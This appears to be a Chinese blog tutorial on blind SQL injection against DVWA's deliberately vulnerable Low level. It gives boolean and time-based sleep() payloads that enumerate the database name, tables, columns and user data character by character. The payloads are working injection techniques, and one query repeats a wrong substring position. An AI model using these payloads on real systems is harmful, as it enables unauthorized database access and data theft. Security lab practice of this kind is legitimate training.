DVWA中SQL盲注

一、SQL盲注过程

(1)判断是否存在注入,注入是字符型还是数字型;
(2)猜解当前数据库名---->猜解数据库名长度---->猜解数据库名称;
(3)猜解数据库中的表名---->猜解表数量---->猜解表长度---->猜解表名称;
(4)猜解表中字段名---->猜解当前表中有多少个字段---->猜解字段长度---->猜解字段名称
(5)猜解数据

二、SQL Injection(Blind)
1、Low级别

在这里插入图片描述

布尔盲注
1)判断是否存在注入,注入是字符型还是数字型;
	1' and '1'='1
	1' and '1'='22)猜解当前数据库名---->猜解数据库名长度(4)---->猜解数据库名称(d,v,w,a);
	1' and length(database())=4 #
	
	1' and ascii(substr(database(),1,1))=100 #(d)
	1' and ascii(substr(database(),2,1))=118 #(v)
	1' and ascii(substr(database(),3,1))=119 #(w)
	1' and ascii(substr(database(),4,1))=97 #(a)
(3)猜解数据库中的表名---->猜解表数量(2)---->猜解表名长度(9,5)---->猜解表名称(guestbook,users);
	1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #
	
	1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9 #
	1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5 #
	
	1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=103 #(g)
	1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),2))=117 #(u)
	1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),3))=101 #(e)
	1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),2))=116 #(s)
	
	1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=117 #(u)
	1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),2))=115 #(s)
	1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),3))=101 #(e)
(4)猜解表中字段名---->猜解当前表中有多少个字段(11)---->猜解字段长度---->猜解字段名称
	1' and (select count(column_name) from information_schema.columns where table_name='users')=11 #
	
	1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7 #
	1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1))=10 #
	1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1))=9 #

	1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))>97 #5)猜解数据
	1' and (ascii(substr((select user from users limit 0,1),1,1)))=97 #
时间盲注
1and sleep(5) #
1' and if(length(database())=1,sleep(5),1)#
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)#
1' and if((select count(table_name) from information_schema.tables where table_schema='dvwa')=1,sleep(5),1)#
1' and if(length(substr((select table_name from information_schema.tables where table_schema='dvwa'limit 0,1),1))=1,sleep(5),1)#

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值